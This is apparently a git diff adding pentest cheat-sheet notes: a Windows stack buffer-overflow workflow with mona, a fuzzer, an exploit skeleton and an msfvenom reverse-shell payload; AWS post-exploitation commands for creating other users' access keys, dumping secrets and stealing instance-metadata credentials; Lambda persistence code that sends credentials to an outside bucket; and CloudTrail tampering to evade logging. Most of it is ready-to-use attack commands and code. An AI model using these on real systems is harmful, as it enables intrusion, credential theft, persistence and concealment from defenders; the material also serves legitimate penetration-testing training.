- `!mona bytearray -cpb "\x00\x09\x0a\x0d"`
|
||||
- `!mona compare -f C:\mona\<app>\bytearray.bin -a 0012FD6C`
|
||||
|
||||
|
||||
- SEH
|
||||
- Find SEH offset (nseh / seh + jump code):
|
||||
- 1 - Replace A's by unique pattern (pattern_create)
|
||||
- 2 - `!mona sehchain`
|
||||
- Find pop pop ret (for SEH Bypass):
|
||||
- `!mona seh`
|
||||
- Note: this will create seh.txt in working folder
|
||||
|
||||
- Egg Hunter:
|
||||
- Find eggs occurrences in memory:
|
||||
- `!mona find -s "W00TW00T"`
|
||||
- Generate egghunter:
|
||||
- mona can create an egghunter with checksum check :
|
||||
- -t : tag (ex: w00t). Default value is w00t
|
||||
- -c : enable checksum routine. Only works in conjunction with parameter -f
|
||||
- -f : file containing the shellcode
|
||||
- Example:
|
||||
- `!mona egg -t W00T`
|
||||
- `!mona egg -t W00T -c -f shellcode.bin`
|
||||
|
||||
- Find jump or call or push/ret to a register:
|
||||
- `!mona jmp -r edi`
|
||||
- Note: this creates jmp.txt in working folder.
|
||||
|
||||
|
||||
- Find arbitrary instructions in dll:
|
||||
- `/usr/share/metasploit-framework/tools/exploit/nasm_shell.rb`
|
||||
- `jmp esp ==> FF E4`
|
||||
- `!mona modules`
|
||||
- `!mona find -s "\xff\xe4" -m <module>`
|
||||
|
||||
|
||||
- Find shellcode occurrences in memory (and integrity check):
|
||||
- 1 - Create raw shellcode.bin file using Python or anything you'd like
|
||||
- 2 - Search memory for the shellcode with mona:
|
||||
- `!mona compare -f C:\Users\administrator\Desktop\WORK\tmp\shellcode.bin`
|
||||
|
||||
- Asm instructions to opcodes:
|
||||
- `!mona assemble -s "xor eax,eax # pop EBX # ret"`
|
||||
|
||||
- Set breakpoint on addr when the program read or write it:
|
||||
- Mandatory arguments:
|
||||
- -a
|
||||
- -t : where is either “READ” or “WRITE”
|
||||
- Note : the address should exist when setting the breakpoint. If not, you’ll get an error.
|
||||
- Example : set a breakpoint when the application reads from 0012C431:
|
||||
- `!mona bp -a 0x0012C431 -t READ`
|
||||
|
||||
- Generate msfmodule based on crash:
|
||||
- 1 - Replace A's by unique pattern (pattern_create)
|
||||
- 2 - When crash occurs:
|
||||
- `!mona suggest`
|
||||
@@ -0,0 +1,253 @@
|
||||
################
|
||||
Buffer Overflows
|
||||
################
|
||||
|
||||
* https://bytesoverbombs.io/exploiting-a-64-bit-buffer-overflow-469e8b500f10
|
||||
* https://www.abatchy.com/2017/05/jumping-to-shellcode.html
|
||||
* http://www.voidcn.com/article/p-ulyzzbfx-z.html
|
||||
* https://www.securitysift.com/windows-exploit-development-part-4-locating-shellcode-jumps/
|
||||
* https://medium.com/@johntroony/a-practical-overview-of-stack-based-buffer-overflow-7572eaaa4982
|
||||
|
||||
Immunity Debugger
|
||||
=================
|
||||
|
||||
**Always run Immunity Debugger as Administrator if you can.**
|
||||
|
||||
There are generally two ways to use Immunity Debugger to debug an application:
|
||||
|
||||
1. Make sure the application is running, open Immunity Debugger, and then use :code:`File -> Attach` to attack the debugger to the running process.
|
||||
2. Open Immunity Debugger, and then use :code:`File -> Open` to run the application.
|
||||
|
||||
When attaching to an application or opening an application in Immunity Debugger, the application will be paused. Click the "Run" button or press F9.
|
||||
|
||||
Note: If the binary you are debugging is a Windows service, you may need to restart the application via :code:`sc`
|
||||
|
||||
.. code-block:: none
|
||||
|
||||
sc stop SLmail
|
||||
sc start SLmail
|
||||
|
||||
Some applications are configured to be started from the service manager and will not work unless started by service control.
|
||||
|
||||
Mona Setup
|
||||
==========
|
||||
|
||||
Mona is a powerful plugin for Immunity Debugger that makes exploiting buffer overflows much easier. Download: :download:`mona.py <../_static/files/mona.py>`
|
||||
|
||||
| The latest version can be downloaded here: https://github.com/corelan/mona
|
||||
| The manual can be found here: https://www.corelan.be/index.php/2011/07/14/mona-py-the-manual/
|
||||
|
||||
Copy the mona.py file into the PyCommands directory of Immunity Debugger (usually located at C:\\Program Files\\Immunity Inc\\Immunity Debugger\\PyCommands).
|
||||
|
||||
In Immunity Debugger, type the following to set a working directory for mona.
|
||||
|
||||
.. code-block:: none
|
||||
|
||||
!mona config -set workingfolder c:\mona\%p
|
||||
|
||||
Fuzzing
|
||||
=======
|
||||
|
||||
The following Python script can be modified and used to fuzz remote entry points to an application. It will send increasingly long buffer strings in the hope that one eventually crashes the application.
|
||||
|
||||
.. code-block:: python
|
||||
|
||||
import socket, time, sys
|
||||
|
||||
ip = "10.0.0.1"
|
||||
port = 21
|
||||
timeout = 5
|
||||
|
||||
# Create an array of increasing length buffer strings.
|
||||
buffer = []
|
||||
counter = 100
|
||||
while len(buffer) < 30:
|
||||
buffer.append("A" * counter)
|
||||
counter += 100
|
||||
|
||||
for string in buffer:
|
||||
try:
|
||||
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||
s.settimeout(timeout)
|
||||
connect = s.connect((ip, port))
|
||||
s.recv(1024)
|
||||
s.send("USER username\r\n")
|
||||
s.recv(1024)
|
||||
|
||||
print("Fuzzing PASS with %s bytes" % len(string))
|
||||
s.send("PASS " + string + "\r\n")
|
||||
s.recv(1024)
|
||||
s.send("QUIT\r\n")
|
||||
s.recv(1024)
|
||||
s.close()
|
||||
except:
|
||||
print("Could not connect to " + ip + ":" + str(port))
|
||||
sys.exit(0)
|
||||
time.sleep(1)
|
||||
|
||||
Check that the EIP register has been overwritten by A's (\\x41). Make a note of any other registers that have either been overwritten, or are pointing to space in memory which has been overwritten.
|
||||
|
||||
Crash Replication & Controlling EIP
|
||||
===================================
|
||||
|
||||
The following skeleton exploit code can be used for the rest of the buffer overflow exploit:
|
||||
|
||||
.. code-block:: python
|
||||
|
||||
import socket
|
||||
|
||||
ip = "10.0.0.1"
|
||||
port = 21
|
||||
|
||||
prefix = ""
|
||||
offset = 0
|
||||
overflow = "A" * offset
|
||||
retn = ""
|
||||
padding = ""
|
||||
payload = ""
|
||||
postfix = ""
|
||||
|
||||
buffer = prefix + overflow + retn + padding + payload + postfix
|
||||
|
||||
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||
|
||||
try:
|
||||
s.connect((ip, port))
|
||||
print("Sending evil buffer...")
|
||||
s.send(buffer + "\r\n")
|
||||
print("Done!")
|
||||
except:
|
||||
print("Could not connect.")
|
||||
|
||||
Using the buffer length which caused the crash, generate a unique buffer so we can determine the offset in the pattern which overwrites the EIP register, and the offset in the pattern to which other registers point. Create a pattern that is 400 bytes larger than the crash buffer, so that we can determine whether our shellcode can fit immediately. If the larger buffer doesn't crash the application, use a pattern equal to the crash buffer length and slowly add more to the buffer to find space.
|
||||
|
||||
.. code-block:: none
|
||||
|
||||
$ /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 600
|
||||
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag
|
||||
|
||||
While the unique buffer is on the stack, use mona's findmsp command, with the distance argument set to the pattern length.
|
||||
|
||||
.. code-block:: none
|
||||
|
||||
!mona findmsp -distance 600
|
||||
...
|
||||
[+] Looking for cyclic pattern in memory
|
||||
Cyclic pattern (normal) found at 0x005f3614 (length 600 bytes)
|
||||
Cyclic pattern (normal) found at 0x005f4a40 (length 600 bytes)
|
||||
Cyclic pattern (normal) found at 0x017df764 (length 600 bytes)
|
||||
EIP contains normal pattern : 0x78413778 (offset 112)
|
||||
ESP (0x017dfa30) points at offset 116 in normal pattern (length 484)
|
||||
EAX (0x017df764) points at offset 0 in normal pattern (length 600)
|
||||
EBP contains normal pattern : 0x41367841 (offset 108)
|
||||
...
|
||||
|
||||
Note the EIP offset (112) and any other registers that point to the pattern, noting their offsets as well. It seems like the ESP register points to the last 484 bytes of the pattern, which is enough space for our shellcode.
|
||||
|
||||
Create a new buffer using this information to ensure that we can control EIP:
|
||||
|
||||
.. code-block:: none
|
||||
|
||||
prefix = ""
|
||||
offset = 112
|
||||
overflow = "A" * offset
|
||||
retn = "BBBB"
|
||||
padding = ""
|
||||
payload = "C" * (600-112-4)
|
||||
postfix = ""
|
||||
|
||||
buffer = prefix + overflow + retn + padding + payload + postfix
|
||||
|
||||
Crash the application using this buffer, and make sure that EIP is overwritten by B's (\\x42) and that the ESP register points to the start of the C's (\\x43).
|
||||
|
||||
Finding Bad Characters
|
||||
======================
|
||||
|
||||
Generate a bytearray using mona, and exclude the null byte (\\x00) by default. Note the location of the bytearray.bin file that is generated.
|
||||
|
||||
.. code-block:: none
|
||||
|
||||
!mona bytearray -b "\x00"
|
||||
|
||||
Now generate a string of bad chars that is identical to the bytearray. The following python script can be used to generate a string of bad chars from \\x01 to \\xff:
|
||||
|
||||
.. code-block:: python
|
||||
|
||||
#!/usr/bin/env python
|
||||
from __future__ import print_function
|
||||
|
||||
for x in range(1, 256):
|
||||
print("\\x" + "{:02x}".format(x), end='')
|
||||
|
||||
print()
|
||||
|
||||
Put the string of bad chars before the C's in your buffer, and adjust the number of C's to compensate:
|
||||
|
||||
.. code-block:: none
|
||||
|
||||
badchars = "\x01\x02\x03\x04\x05...\xfb\xfc\xfd\xfe\xff"
|
||||
payload = badchars + "C" * (600-112-4-255)
|
||||
|
||||
Crash the application using this buffer, and make a note of the address to which ESP points. This can change every time you crash the application, so get into the habit of copying it from the register each time.
|
||||
|
||||
Use the mona compare command to reference the bytearray you generated, and the address to which ESP points:
|
||||
|
||||
.. code-block:: none
|
||||
|
||||
!mona compare -f C:\mona\appname\bytearray.bin -a <address>
|
||||
|
||||
Find a Jump Point
|
||||
=================
|
||||
|
||||
The mona jmp command can be used to search for jmp (or equivalent) instructions to a specific register. The jmp command will, by default, ignore any modules that are marked as aslr or rebase.
|
||||
|
||||
The following example searches for "jmp esp" or equivalent (e.g. call esp, push esp; retn, etc.) while ensuring that the address of the instruction doesn't contain the bad chars \\x00, \\x0a, and \\x0d.
|
||||
|
||||
.. code-block:: none
|
||||
|
||||
!mona jmp -r esp -cpb "\x00\x0a\x0d"
|
||||
|
||||
The mona find command can similarly be used to find specific instructions, though for the most part, the jmp command is sufficient:
|
||||
|
||||
.. code-block:: none
|
||||
|
||||
!mona find -s 'jmp esp' -type instr -cm aslr=false,rebase=false,nx=false -cpb "\x00\x0a\x0d"
|
||||
|
||||
Generate Payload
|
||||
================
|
||||
|
||||
Generate a reverse shell payload using msfvenom, making sure to exclude the same bad chars that were found previously:
|
||||
|
||||
.. code-block:: none
|
||||
|
||||
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.92 LPORT=53 EXITFUNC=thread -b "\x00\x0a\x0d" -f c
|
||||
|
||||
Prepend NOPs
|
||||
============
|
||||
|
||||
If an encoder was used (more than likely if bad chars are present, remember to prepend at least 16 NOPs (\\x90) to the payload.
|
||||
|
||||
Final Buffer
|
||||
============
|
||||
|
||||
.. code-block:: none
|
||||
|
||||
prefix = ""
|
||||
offset = 112
|
||||
overflow = "A" * offset
|
||||
retn = "\x56\x23\x43\x9A"
|
||||
padding = "\x90" * 16
|
||||
payload = "\xdb\xde\xba\x69\xd7\xe9\xa8\xd9\x74\x24\xf4\x58\x29\xc9\xb1..."
|
||||
postfix = ""
|
||||
|
||||
buffer = prefix + overflow + retn + padding + payload + postfix
|
||||
|
||||
Buffer Overflow Practice
|
||||
========================
|
||||
|
||||
* https://github.com/justinsteven/dostackbufferoverflowgood
|
||||
* https://github.com/stephenbradshaw/vulnserver
|
||||
* https://www.vortex.id.au/2017/05/pwkoscp-stack-buffer-overflow-practice/
|
||||
|
||||
- Thanks to Tib3rius for this!
|
||||
- https://raw.githubusercontent.com/Tib3rius/Pentest-Cheatsheets/master/exploits/buffer-overflows.rst
|
||||
@@ -0,0 +1,113 @@
|
||||
- Using credentials with AWS CLI involves a file at `~/.aws/credentials`, with the following example format:
|
||||
```
|
||||
[<profile_name>]
|
||||
aws_access_key_id = <key>
|
||||
aws_secret_access_key = <secret>
|
||||
aws_session_token = <session_token>
|
||||
```
|
||||
- Add `--profile demo` to use the above with AWS CLI commands
|
||||
- List accounts belonging to organization
|
||||
- `aws organizations list-accounts`
|
||||
- Get information about IAM role
|
||||
- `aws iam get-role --role-name <role_name> --profile <profile_name>`
|
||||
- List details on instances
|
||||
- ` aws ec2 describe-instances --region=<region> --profile <profile_filename>`
|
||||
- List details on container repositories
|
||||
- `aws ecr describe-repositories --region=<region> --profile gretsch1`
|
||||
- Get user information
|
||||
- `aws iam get-user --profile <profile_name>`
|
||||
- `aws iam list-attached-user-policies --user-name=<username> --profile <profile_name>`
|
||||
- Get information on policy
|
||||
- ` aws iam get-policy --policy-arn mxrads-self-manage --profile kevin`
|
||||
- Version
|
||||
- ` aws iam iam get-policy --policy-arn <policy_arn> --profile <profile_name>`
|
||||
- Get Content
|
||||
- ` aws iam iam get-policy-version --policy-arn <policy_arn> --version <version> --profile <profile_name>`
|
||||
- List users and groups affiliated with default Administrator policy
|
||||
- `aws iam list-entities-for-policy --policy-arn arn:aws:iam::aws:policy/AdministratorAccess`
|
||||
- List current access keys for user (there can only be 2, so anything less allows you to add one)
|
||||
- `aws iam list-access-keys --user b.daniella | jq ".AccessKeyMetadata[].AccessKeyId"`
|
||||
- Create access key for user
|
||||
- `aws iam create-access-key --user b.daniella`
|
||||
- Change role policy
|
||||
- `aws iam update-assume-role-policy --role-name lambda-dmp-sync --policy-document file://new_policy.json`
|
||||
- Find roles capable of `assume-role` calls for `lambda.amazonaws.com`
|
||||
- `aws iam list-roles | jq -r '.Roles[] | .RoleName + ", " + .AssumeRolePolicyDocument.Statement[].Principal.Service' | grep "lambda.amazonaws.com"`
|
||||
- Check IAM policies for role
|
||||
- `aws iam list-attached-role-policies --role <role_name> --profile <profile_name>`
|
||||
- Look for roles with high permissions like `IAMFullAccess` and which lack write permissions to CloudWatch
|
||||
- Inspect security groups
|
||||
- `aws ec2 describe-security-groups --group-ids <id_1> <id_2>`
|
||||
- Assume role
|
||||
- `aws sts assume-role --role-arn arn:aws:iam::886371554408:user/lambda-dmp-sync --role-session-name AWSCLI-Session --duration-seconds 43200`
|
||||
- List existing lambda functions
|
||||
- `aws iam lambda list-functions -region=<region>`
|
||||
- Get information on Lambda function
|
||||
- `aws lambda get-function --function-name <lambda_func_name> --region <region> --profile <profile_name>`
|
||||
- Get information on Kubernetes cluster
|
||||
- `aws eks describe-cluster --name <cluster_name> --profile <profile_filename> --region=<region>`
|
||||
- Get information from Resource Groups Tagging API
|
||||
- `aws resourcegroupstaggingapi get-resources --region <region> --profile <profile_name>`
|
||||
- List secrets
|
||||
- `aws secretsmanager list-secrets --region <region> --profile <profile_name>`
|
||||
- Download secret
|
||||
- `aws secretsmanager get-secret-value --secret-id '<ID>' --region=eu-west-1 --profile it-role | jq -r .SecretString | base64 -d`
|
||||
- List buckets accessible with these credentials/this role:
|
||||
- `aws s3api listbuckets --profile <profile_name>`
|
||||
- List buckets and show bucket names only
|
||||
- `aws s3api list-buckets --profile <profile_name> --query "Buckets[].Name"`
|
||||
- Sync bucket
|
||||
- mounted locally
|
||||
- `aws s3 sync s3://<bucket_name> <filesystem_mount_point>`
|
||||
- With another bucket
|
||||
- `aws s3 sync s3://source-bucket/ s3://destination-bucket`
|
||||
- List keys inside a single bucket
|
||||
1. `aws s3api list-objects-v2 --profile <profile_name> --bucket <bucket_name> > list_objects_dl.txt`
|
||||
2. `grep '"Key"' list_objects_dl | sed 's/[",]//g' > list_keys_dl.txt`
|
||||
- Check for S3 bucket logging
|
||||
- `aws s3api get-bucket-logging --profile <profile_name> --bucket <bucket_name>`
|
||||
- Check bucket policy
|
||||
- `aws s3api get-bucket-policy --bucket <bucket_name>`
|
||||
- Get account ID
|
||||
- `aws sts get-caller-identity --profile <profile_name>`
|
||||
- Create a new bucket:
|
||||
- `aws s3api create-bucket --bucket <bucket_name> --region=<aws_region> --create-bucket-configuration LocationConstraint=<aws_region>`
|
||||
- Upload file to bucket:
|
||||
- ` aws s3api put-object --bucket <bucket_name> --key <key_name> --body <filename>`
|
||||
- Change file permissions in bucket:
|
||||
- `aws s3api put-bucket-policy --bucket <bucket_name> --policy file://<local_policy_file>`
|
||||
- Exchange service account token for IAM keys (only for proper service account tokens with OpenID info in AWS)
|
||||
1. `AWS_ROLE_ARN="<role_name>"`
|
||||
- e.g. `AWS_ROLE_ARN="arn:aws:iam::886477354405:role/api-core.ec2"`
|
||||
2. `TOKEN ="<token>"`
|
||||
3. `aws sts assume-role-with-web-identity --role-arn $AWS_ROLE_ARN --role-session-name sessionID --web-identity-token $TOKEN --duration-seconds 43200`
|
||||
- Exchange IAM key for Kubernetes token
|
||||
- `aws eks get-token --cluster-name <cluster_name> --profile <profile_name>`
|
||||
- Create kubectl config
|
||||
- `aws eks update-kubeconfig --name <cluster_name> --profile <profile_name>`
|
||||
- Get all instances that match a specific tag
|
||||
- `while read p; do instanceID=$(aws ec2 describe-instances --filter "Name=tag:Name,Values=*$p*" --query 'Reservations[0].Instances[].InstanceId' --region=eu-west-1 --output=text; echo $instanceID > list_ids.txt; done <services.txt`
|
||||
- Get user data from instance IDs in a file
|
||||
- `while read p; do userData=$(aws ec2 describe-instance-attribute --instance-id $p --attribute userData --region=eu-west-1 | jq -r .UserData.Value | base64 -d) echo $userData > $p.txt done`
|
||||
- Get launch configurations
|
||||
- `aws autoscaling describe-launch-configurations`
|
||||
- `aws ec2 describe-launch-templates`
|
||||
- Start instance with user data script that runs on startup:
|
||||
- `aws ec2 run-instances --image-id ami-<id> --count 1 --instance-type m3.medium --iam-instance-profile <profile_name> --subnet-id subnet-<id> --security-group-ids sg-<id> --tag-specifications 'ResourceType=instance,Tags=[{Key=Name,Value=spark-worker-5739ecea19a4}]' --user-data file://<startup_script> --profile <profile_name> --region <region>`
|
||||
- Redshift
|
||||
- Get info on clusters
|
||||
- `aws redshift describe-clusters`
|
||||
- Get credentials for cluster
|
||||
- `aws get-cluster-credentials --db-user root --db-name <database_name> --cluster-identifier <cluster_id> --duration-seconds 3600`
|
||||
- Check monitoring
|
||||
- Access Analyzer
|
||||
- `aws accessanalyzer list-analyzers --region=<region>`
|
||||
- CloudTrail
|
||||
- `aws cloudtrail describe-trails --region=<region>`
|
||||
- GuardDuty
|
||||
- `aws guardduty list-detectors --region=<region>`
|
||||
- Extract info from CloudTrail
|
||||
- `aws logs describe-log-groups --region=<region> --profile <profile_name>`
|
||||
- Filter for activity referring to a specific account
|
||||
- `aws logs filter-log-events --log-group-name "CloudTrail/DefaultLogGroup" --filter-pattern "<account_ID>" --max-items 10 --profile <profile_name> --region <region> | jq ".events[].message" | sed 's/\\//g'
|
||||
`
|
||||
@@ -0,0 +1,29 @@
|
||||
- Full list of endpoints:
|
||||
- https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instancedata-data-categories.html
|
||||
|
||||
- Region
|
||||
- http://169.254.169.254/latest/meta-data/placement/availability-zone
|
||||
- Instance ID
|
||||
- http://169.254.169.254/latest/meta-data/instance-id
|
||||
- AMI ID (image ID)
|
||||
- http://169.254.169.254/latest/meta-data/ami-id
|
||||
- Public hostname (containing public IP as well)
|
||||
- http://169.254.169.254/latest/meta-data/public-hostname
|
||||
- MAC address
|
||||
- http://169.254.169.254/latest/meta-data/network/interfaces/macs/
|
||||
- Owner ID
|
||||
- http://169.254.169.254/network/interfaces/macs/<MAC_address>/owner-id
|
||||
- Security Groups
|
||||
- http://169.254.169.254/network/interfaces/macs/<MAC_address>/security-groups
|
||||
- Subnet ID
|
||||
- http://169.254.169.254/network/interfaces/macs/<MAC_address>/subnet-id
|
||||
- Subnet IP range
|
||||
- http://169.254.169.254/network/interfaces/macs/<MAC_address>/subnet-ipv4-cidr-block
|
||||
- User-Data (instance startup script)
|
||||
- http://169.254.169.254/latest/user-data/
|
||||
- Accepts BASH scripts as well as cloud-init files, which are in YAML
|
||||
- IAM role name
|
||||
- http://169.254.169.254/latest/meta-data/iam/security-credentials
|
||||
- IAM temporary credentials
|
||||
- http://169.254.169.254/latest/meta-data/iam/security-credentials/demo-role.ec2
|
||||
- These credentials allow one to assume the IAM role of the instance from any AWS client (including the CLI) until the credentials are reset (every six hours)
|
||||
@@ -0,0 +1,46 @@
|
||||
- Lambda functions
|
||||
- Trigger on a specific event, such as new items being added to an S3 bucket or a CloudWatch event whenever your compromised credentials get rotated.
|
||||
- The downside to CloudWatch is that only one lambda is allowed per log group and it is easily visible in the CloudWatch dashboard.
|
||||
- S3 dashboard makes it less obvious.
|
||||
- Access Analyzer will be concerned by creating new users or granting permissions to foreign users
|
||||
- Use something like uploading lambda role credentials to a foreign bucket
|
||||
- Golang Pseudocode:
|
||||
```Go
|
||||
accessKey := fmt.Sprintf(`
|
||||
AWS_ACCESS_KEY_ID=%s
|
||||
AWS_SECRET_ACCESS_KEY=%s
|
||||
AWS_SESSION_TOKEN=%s"`,
|
||||
os.Getenv("AWS_ACCESS_KEY_ID"),
|
||||
os.Getenv("AWS_SECRET_ACCESS_KEY"),
|
||||
os.Getenv("AWS_SESSION_TOKEN"),
|
||||
)
|
||||
uploadToS3(s3Client, S3BUCKET, "lambda", accessKey)
|
||||
```
|
||||
|
||||
- Create lambda function
|
||||
- `aws lambda create-function --function-name support-metrics-calc --zip-file fileb://function.zip --handler function --runtime go1.x --role <desired_role> --region <region>`
|
||||
- Create trigger event on upload of file to s3
|
||||
- `aws lambda add-permission --function-name <desired_func_name> --region <region> --statement-id <arbitrary_unique_name> --action "lambda:InvokeFunction" --principal s3.amazonaws.com --source-arn arn:aws:s3:::s4d.mxrads.com --source-account <account_id> --profile <profile_name>`
|
||||
- Set bucket rule that only triggers events on certain items being uploaded (starting with "2")
|
||||
- `aws s3api put-bucket-notification-configuration --region <region> --bucket <bucket_name> --profile <profile_name> --notification-configuration file://config.json`
|
||||
- Example rule config
|
||||
```JSON
|
||||
{
|
||||
"LambdaFunctionConfigurations": [{
|
||||
"Id": "s3InvokeLambda12",
|
||||
"LambdaFunctionArn": "arn:aws:lambda:eu-west-1:886371554408
|
||||
:function:support-metrics-calc",
|
||||
"Events": ["s3:ObjectCreated:*"],
|
||||
"Filter": {
|
||||
"Key": {
|
||||
"FilterRules": [{
|
||||
"Name": "prefix",
|
||||
"Value": "2"
|
||||
}]
|
||||
}
|
||||
}
|
||||
}]
|
||||
}
|
||||
```
|
||||
|
||||
-
|
||||
@@ -0,0 +1,18 @@
|
||||
- Virtual Private Cloud (VPC)
|
||||
- Allows organizations to set up virtual private networks to route traffic from instances to their core services, such as S3 buckets.
|
||||
- Example: `curl https://mxrads-archives-packets-linux.s3-eu-west-1.amazonaws.com/beaconTest.html` will automatically route straight to S3 through Amazon's internal network, rather than going through the public internet.
|
||||
- This allows organizations to close access to the internet for instances while still retaining access to AWS services.
|
||||
- Look for this when you have RCE, RFI, or similar and you can't get the instance to reach out to the internet. Try uploading a file to an s3 bucket you control and curling the bucket instead; it might go through a VPC.
|
||||
- Can also be used as a C2 channel
|
||||
- Evading CloudWatch
|
||||
- Cannot disable, but can disrupt the trail for ingestion into automated tools and dashboards.
|
||||
- `aws cloudtrail update-trail --name default --no-include-global-service-events --no-is-multi-region --region=<region>`
|
||||
- For best results, disable before doing quick API calls you need to be outside of the logging, then re-enable at least 20 minutes later.
|
||||
- Quickly grep Linux files looking for:
|
||||
- AWS keys
|
||||
- `grep -R "AKIA" -4 *`
|
||||
- S3 drivers used in Spark
|
||||
- `egrep -R "s3[a|n]://" *`
|
||||
- Dangerous permissions
|
||||
- `PassRole`
|
||||
- Allows users to assign any role to an instance, including an admin role. Allows full AWS account takeover.
|
||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user